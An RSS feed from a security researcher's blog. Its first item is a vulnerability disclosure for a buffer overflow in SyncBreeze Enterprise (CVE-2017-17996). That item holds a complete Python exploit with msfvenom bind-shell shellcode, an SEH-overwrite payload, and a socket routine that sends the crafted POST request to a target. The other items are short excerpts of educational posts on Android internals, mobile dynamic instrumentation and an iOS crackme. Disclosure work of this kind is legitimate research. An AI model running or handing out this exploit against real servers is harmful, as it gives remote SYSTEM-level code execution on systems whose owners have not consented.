<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Blog on ryantzj</title><link>https://www.ryantzj.com/posts/</link><description>Recent content in Blog on ryantzj</description><generator>Hugo</generator><language>en</language><lastBuildDate>Wed, 31 Jan 2018 00:00:00 +0800</lastBuildDate><atom:link href="https://www.ryantzj.com/posts/index.xml" rel="self" type="application/rss+xml"/><item><title>Flexense SyncBreeze Entreprise 10.3.14 Buffer Overflow (SEH-bypass)</title><link>https://www.ryantzj.com/posts/flexense-syncbreeze-exploit/</link><pubDate>Wed, 31 Jan 2018 00:00:00 +0800</pubDate><guid>https://www.ryantzj.com/posts/flexense-syncbreeze-exploit/</guid><description>&lt;p>&lt;strong>Homepage:&lt;/strong>&lt;/p>
&lt;p>&lt;a href="http://www.syncbreeze.com/">http://www.syncbreeze.com/&lt;/a>&lt;/p>
&lt;p>&lt;strong>CVE-ID:&lt;/strong>&lt;/p>
&lt;p>&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17996">CVE-2017-17996&lt;/a>&lt;/p>
&lt;p>&lt;strong>CVSSv3 Score:&lt;/strong>&lt;/p>
&lt;p>9.9&lt;/p>
&lt;p>&lt;strong>CVSSv3 Vector&lt;/strong>&lt;/p>
&lt;p>(/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)&lt;/p>
&lt;p>&lt;strong>Description&lt;/strong>:&lt;/p>
&lt;p>A buffer overflow vulnerability in “Add command” functionality exists in Flexense’s SyncBreeze Enterprise &amp;lt;= 10.3.14. The vulnerability can be triggered by an authenticated attacker who submits more than 5000 characters as the command name. It will cause termination of the SyncBreeze Enterprise server and possibly remote command execution with SYSTEM privilege.&lt;/p>
&lt;p>&lt;strong>Proof of Concept&lt;/strong>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#3c3836;background-color:#fbf1c7;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#928374;font-style:italic">#!/usr/bin/python&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#af3a03">import&lt;/span> socket
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>buffsize &lt;span style="color:#af3a03">=&lt;/span> &lt;span style="color:#8f3f71">5000&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#928374;font-style:italic">#msfvenom -p windows/shell_bind_tcp LPORT=443 EXITFUNC=seh --bad-chars &amp;#39;\x0d\x0a\x00\x27\x22\x08\x09\x1b\x5c\x5f\x25\x26\x3d\x2b&amp;#39; -f python -v shellcode&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>shellcode &lt;span style="color:#af3a03">=&lt;/span> &lt;span style="color:#79740e">&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>shellcode &lt;span style="color:#af3a03">+=&lt;/span> &lt;span style="color:#79740e">&amp;#34;&lt;/span>&lt;span style="color:#79740e">\x33\xc9\x83\xe9\xae\xe8\xff\xff\xff\xff\xc0\x5e&lt;/span>&lt;span style="color:#79740e">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>shellcode &lt;span style="color:#af3a03">+=&lt;/span> &lt;span style="color:#79740e">&amp;#34;&lt;/span>&lt;span style="color:#79740e">\x81\x76\x0e\x93\xfe\x85\x99\x83\xee\xfc\xe2\xf4&lt;/span>&lt;span style="color:#79740e">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>shellcode &lt;span style="color:#af3a03">+=&lt;/span> &lt;span style="color:#79740e">&amp;#34;&lt;/span>&lt;span style="color:#79740e">\x6f\x16\x07\x99\x93\xfe\xe5\x10\x76\xcf\x45\xfd&lt;/span>&lt;span style="color:#79740e">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>shellcode &lt;span style="color:#af3a03">+=&lt;/span> &lt;span style="color:#79740e">&amp;#34;&lt;/span>&lt;span style="color:#79740e">\x18\xae\xb5\x12\xc1\xf2\x0e\xcb\x87\x75\xf7\xb1&lt;/span>&lt;span style="color:#79740e">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>shellcode &lt;span style="color:#af3a03">+=&lt;/span> &lt;span style="color:#79740e">&amp;#34;&lt;/span>&lt;span style="color:#79740e">\x9c\x49\xcf\xbf\xa2\x01\x29\xa5\xf2\x82\x87\xb5&lt;/span>&lt;span style="color:#79740e">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>shellcode &lt;span style="color:#af3a03">+=&lt;/span> &lt;span style="color:#79740e">&amp;#34;&lt;/span>&lt;span style="color:#79740e">\xb3\x3f\x4a\x94\x92\x39\x67\x6b\xc1\xa9\x0e\xcb&lt;/span>&lt;span style="color:#79740e">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>shellcode &lt;span style="color:#af3a03">+=&lt;/span> &lt;span style="color:#79740e">&amp;#34;&lt;/span>&lt;span style="color:#79740e">\x83\x75\xcf\xa5\x18\xb2\x94\xe1\x70\xb6\x84\x48&lt;/span>&lt;span style="color:#79740e">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>shellcode &lt;span style="color:#af3a03">+=&lt;/span> &lt;span style="color:#79740e">&amp;#34;&lt;/span>&lt;span style="color:#79740e">\xc2\x75\xdc\xb9\x92\x2d\x0e\xd0\x8b\x1d\xbf\xd0&lt;/span>&lt;span style="color:#79740e">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>shellcode &lt;span style="color:#af3a03">+=&lt;/span> &lt;span style="color:#79740e">&amp;#34;&lt;/span>&lt;span style="color:#79740e">\x18\xca\x0e\x98\x45\xcf\x7a\x35\x52\x31\x88\x98&lt;/span>&lt;span style="color:#79740e">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>shellcode &lt;span style="color:#af3a03">+=&lt;/span> &lt;span style="color:#79740e">&amp;#34;&lt;/span>&lt;span style="color:#79740e">\x54\xc6\x65\xec\x65\xfd\xf8\x61\xa8\x83\xa1\xec&lt;/span>&lt;span style="color:#79740e">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>shellcode &lt;span style="color:#af3a03">+=&lt;/span> &lt;span style="color:#79740e">&amp;#34;&lt;/span>&lt;span style="color:#79740e">\x77\xa6\x0e\xc1\xb7\xff\x56\xff\x18\xf2\xce\x12&lt;/span>&lt;span style="color:#79740e">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>shellcode &lt;span style="color:#af3a03">+=&lt;/span> &lt;span style="color:#79740e">&amp;#34;&lt;/span>&lt;span style="color:#79740e">\xcb\xe2\x84\x4a\x18\xfa\x0e\x98\x43\x77\xc1\xbd&lt;/span>&lt;span style="color:#79740e">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>shellcode &lt;span style="color:#af3a03">+=&lt;/span> &lt;span style="color:#79740e">&amp;#34;&lt;/span>&lt;span style="color:#79740e">\xb7\xa5\xde\xf8\xca\xa4\xd4\x66\x73\xa1\xda\xc3&lt;/span>&lt;span style="color:#79740e">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>shellcode &lt;span style="color:#af3a03">+=&lt;/span> &lt;span style="color:#79740e">&amp;#34;&lt;/span>&lt;span style="color:#79740e">\x18\xec\x6e\x14\xce\x96\xb6\xab\x93\xfe\xed\xee&lt;/span>&lt;span style="color:#79740e">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>shellcode &lt;span style="color:#af3a03">+=&lt;/span> &lt;span style="color:#79740e">&amp;#34;&lt;/span>&lt;span style="color:#79740e">\xe0\xcc\xda\xcd\xfb\xb2\xf2\xbf\x94\x01\x50\x21&lt;/span>&lt;span style="color:#79740e">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>shellcode &lt;span style="color:#af3a03">+=&lt;/span> &lt;span style="color:#79740e">&amp;#34;&lt;/span>&lt;span style="color:#79740e">\x03\xff\x85\x99\xba\x3a\xd1\xc9\xfb\xd7\x05\xf2&lt;/span>&lt;span style="color:#79740e">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>shellcode &lt;span style="color:#af3a03">+=&lt;/span> &lt;span style="color:#79740e">&amp;#34;&lt;/span>&lt;span style="color:#79740e">\x93\x01\x50\xf3\x9b\xa7\xd5\x7b\x6e\xbe\xd5\xd9&lt;/span>&lt;span style="color:#79740e">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>shellcode &lt;span style="color:#af3a03">+=&lt;/span> &lt;span style="color:#79740e">&amp;#34;&lt;/span>&lt;span style="color:#79740e">\xc3\x96\x6f\x96\x4c\x1e\x7a\x4c\x04\x96\x87\x99&lt;/span>&lt;span style="color:#79740e">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>shellcode &lt;span style="color:#af3a03">+=&lt;/span> &lt;span style="color:#79740e">&amp;#34;&lt;/span>&lt;span style="color:#79740e">\x92\x45\x0c\x7f\xf9\xee\xd3\xce\xfb\x3c\x5e\xae&lt;/span>&lt;span style="color:#79740e">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>shellcode &lt;span style="color:#af3a03">+=&lt;/span> &lt;span style="color:#79740e">&amp;#34;&lt;/span>&lt;span style="color:#79740e">\xf4\x01\x50\xce\xfb\x49\x6c\xa1\x6c\x01\x50\xce&lt;/span>&lt;span style="color:#79740e">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>shellcode &lt;span style="color:#af3a03">+=&lt;/span> &lt;span style="color:#79740e">&amp;#34;&lt;/span>&lt;span style="color:#79740e">\xfb\x8a\x69\xa2\x72\x01\x50\xce\x04\x96\xf0\xf7&lt;/span>&lt;span style="color:#79740e">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>shellcode &lt;span style="color:#af3a03">+=&lt;/span> &lt;span style="color:#79740e">&amp;#34;&lt;/span>&lt;span style="color:#79740e">\xde\x9f\x7a\x4c\xfb\x9d\xe8\xfd\x93\x77\x66\xce&lt;/span>&lt;span style="color:#79740e">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>shellcode &lt;span style="color:#af3a03">+=&lt;/span> &lt;span style="color:#79740e">&amp;#34;&lt;/span>&lt;span style="color:#79740e">\xc4\xa9\xb4\x6f\xf9\xec\xdc\xcf\x71\x03\xe3\x5e&lt;/span>&lt;span style="color:#79740e">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>shellcode &lt;span style="color:#af3a03">+=&lt;/span> &lt;span style="color:#79740e">&amp;#34;&lt;/span>&lt;span style="color:#79740e">\xd7\xda\xb9\x98\x92\x73\xc1\xbd\x83\x38\x85\xdd&lt;/span>&lt;span style="color:#79740e">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>shellcode &lt;span style="color:#af3a03">+=&lt;/span> &lt;span style="color:#79740e">&amp;#34;&lt;/span>&lt;span style="color:#79740e">\xc7\xae\xd3\xcf\xc5\xb8\xd3\xd7\xc5\xa8\xd6\xcf&lt;/span>&lt;span style="color:#79740e">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>shellcode &lt;span style="color:#af3a03">+=&lt;/span> &lt;span style="color:#79740e">&amp;#34;&lt;/span>&lt;span style="color:#79740e">\xfb\x87\x49\xa6\x15\x01\x50\x10\x73\xb0\xd3\xdf&lt;/span>&lt;span style="color:#79740e">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>shellcode &lt;span style="color:#af3a03">+=&lt;/span> &lt;span style="color:#79740e">&amp;#34;&lt;/span>&lt;span style="color:#79740e">\x6c\xce\xed\x91\x14\xe3\xe5\x66\x46\x45\x7b\x97&lt;/span>&lt;span style="color:#79740e">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>shellcode &lt;span style="color:#af3a03">+=&lt;/span> &lt;span style="color:#79740e">&amp;#34;&lt;/span>&lt;span style="color:#79740e">\xa1\x14\xed\x3f\x06\x43\x18\x66\x46\xc2\x83\xe5&lt;/span>&lt;span style="color:#79740e">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>shellcode &lt;span style="color:#af3a03">+=&lt;/span> &lt;span style="color:#79740e">&amp;#34;&lt;/span>&lt;span style="color:#79740e">\x99\x7e\x7e\x79\xe6\xfb\x3e\xde\x80\x8c\xea\xf3&lt;/span>&lt;span style="color:#79740e">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>shellcode &lt;span style="color:#af3a03">+=&lt;/span> &lt;span style="color:#79740e">&amp;#34;&lt;/span>&lt;span style="color:#79740e">\x93\xad\x7a\x4c&lt;/span>&lt;span style="color:#79740e">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>jmp2 &lt;span style="color:#af3a03">=&lt;/span> &lt;span style="color:#79740e">&amp;#34;&lt;/span>&lt;span style="color:#79740e">\xE9\x42\xFE\xFF\xFF&lt;/span>&lt;span style="color:#79740e">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>payload &lt;span style="color:#af3a03">=&lt;/span> &lt;span style="color:#79740e">&amp;#34;A&amp;#34;&lt;/span>&lt;span style="color:#af3a03">*&lt;/span>(&lt;span style="color:#8f3f71">432&lt;/span>&lt;span style="color:#af3a03">-&lt;/span>&lt;span style="color:#b57614">len&lt;/span>(shellcode)&lt;span style="color:#af3a03">-&lt;/span>&lt;span style="color:#8f3f71">20&lt;/span>) &lt;span style="color:#928374;font-style:italic">#eip offset at 436&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>payload &lt;span style="color:#af3a03">+=&lt;/span> &lt;span style="color:#79740e">&amp;#34;&lt;/span>&lt;span style="color:#79740e">\x90&lt;/span>&lt;span style="color:#79740e">&amp;#34;&lt;/span>&lt;span style="color:#af3a03">*&lt;/span>&lt;span style="color:#8f3f71">12&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>payload &lt;span style="color:#af3a03">+=&lt;/span> shellcode
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>payload &lt;span style="color:#af3a03">+=&lt;/span> &lt;span style="color:#79740e">&amp;#34;&lt;/span>&lt;span style="color:#79740e">\x90&lt;/span>&lt;span style="color:#79740e">&amp;#34;&lt;/span>&lt;span style="color:#af3a03">*&lt;/span>&lt;span style="color:#8f3f71">8&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>payload &lt;span style="color:#af3a03">+=&lt;/span> &lt;span style="color:#79740e">&amp;#34;&lt;/span>&lt;span style="color:#79740e">\x71\x06\x70\x04&lt;/span>&lt;span style="color:#79740e">&amp;#34;&lt;/span> &lt;span style="color:#928374;font-style:italic">#NSEH, a jump net&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>payload &lt;span style="color:#af3a03">+=&lt;/span> &lt;span style="color:#79740e">&amp;#34;&lt;/span>&lt;span style="color:#79740e">\xB1\x41\x01\x10&lt;/span>&lt;span style="color:#79740e">&amp;#34;&lt;/span> &lt;span style="color:#928374;font-style:italic">#SEH&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>payload &lt;span style="color:#af3a03">+=&lt;/span> &lt;span style="color:#79740e">&amp;#34;&lt;/span>&lt;span style="color:#79740e">\x90&lt;/span>&lt;span style="color:#79740e">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>payload &lt;span style="color:#af3a03">+=&lt;/span> jmp2 &lt;span style="color:#928374;font-style:italic">#jmp back to shellcode&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>payload &lt;span style="color:#af3a03">+=&lt;/span>&lt;span style="color:#79740e">&amp;#34;C&amp;#34;&lt;/span>&lt;span style="color:#af3a03">*&lt;/span>(buffsize) &lt;span style="color:#928374;font-style:italic">#ends at 83 bytes&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>buffer &lt;span style="color:#af3a03">=&lt;/span>&lt;span style="color:#79740e">&amp;#34;POST /add_command?sid=c5ecca3e01e7d15b0a490fc197f14395 HTTP/1.1&lt;/span>&lt;span style="color:#79740e">\r\n&lt;/span>&lt;span style="color:#79740e">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>buffer &lt;span style="color:#af3a03">+=&lt;/span>&lt;span style="color:#79740e">&amp;#34;Host: 192.168.38.154&lt;/span>&lt;span style="color:#79740e">\r\n&lt;/span>&lt;span style="color:#79740e">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>buffer &lt;span style="color:#af3a03">+=&lt;/span>&lt;span style="color:#79740e">&amp;#34;Content-Type: application/x-www-form-urlencoded&lt;/span>&lt;span style="color:#79740e">\r\n&lt;/span>&lt;span style="color:#79740e">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>buffer &lt;span style="color:#af3a03">+=&lt;/span>&lt;span style="color:#79740e">&amp;#34;User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03&lt;/span>&lt;span style="color:#79740e">\r\n&lt;/span>&lt;span style="color:#79740e">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>buffer &lt;span style="color:#af3a03">+=&lt;/span>&lt;span style="color:#79740e">&amp;#34;Content-Length: &amp;#34;&lt;/span>&lt;span style="color:#af3a03">+&lt;/span>&lt;span style="color:#b57614">str&lt;/span>(&lt;span style="color:#b57614">len&lt;/span>(payload)&lt;span style="color:#af3a03">+&lt;/span>&lt;span style="color:#8f3f71">13&lt;/span>)&lt;span style="color:#af3a03">+&lt;/span>&lt;span style="color:#79740e">&amp;#34;&lt;/span>&lt;span style="color:#79740e">\r\n\r\n&lt;/span>&lt;span style="color:#79740e">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>buffer &lt;span style="color:#af3a03">+=&lt;/span>&lt;span style="color:#79740e">&amp;#34;command_name=&amp;#34;&lt;/span>&lt;span style="color:#af3a03">+&lt;/span>payload
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b57614">print&lt;/span> &lt;span style="color:#79740e">&amp;#34;[*] Sending evil HTTP request to syncbrz&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b57614">print&lt;/span> &lt;span style="color:#79740e">&amp;#34;[*] exploited by @ryantzj&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b57614">print&lt;/span> &lt;span style="color:#79740e">&amp;#34;[*] Please modify session id and target host to get exploit working&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>expl &lt;span style="color:#af3a03">=&lt;/span> socket&lt;span style="color:#af3a03">.&lt;/span>socket(socket&lt;span style="color:#af3a03">.&lt;/span>AF_INET, socket&lt;span style="color:#af3a03">.&lt;/span>SOCK_STREAM)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>expl&lt;span style="color:#af3a03">.&lt;/span>connect((&lt;span style="color:#79740e">&amp;#34;192.168.38.154&amp;#34;&lt;/span>,&lt;span style="color:#8f3f71">80&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>expl&lt;span style="color:#af3a03">.&lt;/span>send(buffer)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b57614">print&lt;/span> expl&lt;span style="color:#af3a03">.&lt;/span>recv(&lt;span style="color:#8f3f71">1024&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>expl&lt;span style="color:#af3a03">.&lt;/span>close
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;strong>Disclosure Timeline&lt;/strong>&lt;/p></description></item><item><title>Introduction to Dynamic instrumentation in Mobile Security</title><link>https://www.ryantzj.com/posts/dynamic-instrumentation-mobile-security/</link><pubDate>Fri, 29 Sep 2017 00:00:00 +0800</pubDate><guid>https://www.ryantzj.com/posts/dynamic-instrumentation-mobile-security/</guid><description>&lt;p>This is a follow-up blog post after my presentation at Nanyang Technological University’s CSEC Offensive Cyber Security Club, run by a group of highly motivated individuals. Please check out their &lt;a href="https://0x0ffff5ec.github.io">page&lt;/a> to find out when the next security meetup is.&lt;/p>
&lt;h2 id="motivation">Motivation&lt;/h2>
&lt;p>I find myself spending more and more time doing dynamic instrumentation and decided to collect some interesting technique I found while doing dynamic instrumentation in mobile security. My motivation of doing it is to:&lt;/p></description></item><item><title>Cracking OWASP MSTG iOS Crackme - The Uncrackable</title><link>https://www.ryantzj.com/posts/owasp-mstg-ios-crackme/</link><pubDate>Sun, 23 Apr 2017 00:00:00 +0800</pubDate><guid>https://www.ryantzj.com/posts/owasp-mstg-ios-crackme/</guid><description>&lt;p>My fellow colleague &lt;a href="https://twitter.com/muellerberndt">Bernhard&lt;/a> developed two iOS Crackme and here is the writeup.&lt;/p>
&lt;h2 id="uncrackable-level-1">Uncrackable Level 1&lt;/h2>
&lt;p>From the main view, it hints that the flag can be found in the hidden label.&lt;/p>
&lt;p>Well, if that is not a red herring like every crackme challenge, let’s try to unhide the hidden label using Cycript. Let’s print the view hierarchy and locate the address for the hidden label.&lt;/p>
&lt;p>The command &lt;code>[[UIApp keyWindow] recursiveDescription].toString()&lt;/code> returns the view hierarchy of keyWindow. The description of every subview and sub-subview of keyWindow will be shown, and the indentation space reflects the relationships of each view. For example, UILabel, UITextField, and UIButton are subviews of UIView.&lt;/p></description></item><item><title>Android Application/Package APK Structure Part 1</title><link>https://www.ryantzj.com/posts/android-apk-structure/</link><pubDate>Sun, 22 Jan 2017 00:00:00 +0800</pubDate><guid>https://www.ryantzj.com/posts/android-apk-structure/</guid><description>&lt;p>Android applications are installed in the form of application package files, commonly known as APK files. APK files are container files that contain both application code and resources, as well as the application manifest file. APK files are simply ZIP files and you can examine the content by extracting them with any compression utility that supports the ZIP format. You may notice that the naming convention for APK files is in reverse-domain style; this is to avoid naming collisions. The same naming convention can be seen in many places in Android, such as custom permissions and so on, e.g., com.ryantzj.testapp&lt;/p></description></item><item><title>Boot Sequence in Android</title><link>https://www.ryantzj.com/posts/boot-sequence-in-android/</link><pubDate>Sat, 14 Jan 2017 00:00:00 +0800</pubDate><guid>https://www.ryantzj.com/posts/boot-sequence-in-android/</guid><description>&lt;p>Having good knowledge about the boot sequence will be useful when troubleshooting a bricked Android device, flashing a custom ROM, or rooting. There are many device-specific forums that did amazing write-ups on those topics, so I will not be talking about it, but I will go through some of the basics on boot sequences in Android, different boot modes in Android, and how rooting works on an unlocked bootloader phone. While researching this topic, I stumbled upon a few interesting write-ups on rooting techniques for locked bootloader devices; maybe I will talk about that in the near future. :)&lt;/p></description></item><item><title>The Mystical Android Sandbox and IPC (Inter-process communication)</title><link>https://www.ryantzj.com/posts/android-sandbox-and-ipc/</link><pubDate>Mon, 09 Jan 2017 00:00:00 +0800</pubDate><guid>https://www.ryantzj.com/posts/android-sandbox-and-ipc/</guid><description>&lt;p>Android inherits many UNIX security features such as process isolation, UID and GID paradigm, and so on. The idea of Android sandbox is to basically assign each installed application a UID and its user space will conform to the principle of least privilege. Below is a great illustration to visualize Android sandboxing by assigning different UID to every application. This is a well-thought-out security mechanism that really mitigates and simplifies many permission problems that can exist in Android.&lt;/p></description></item></channel></rss>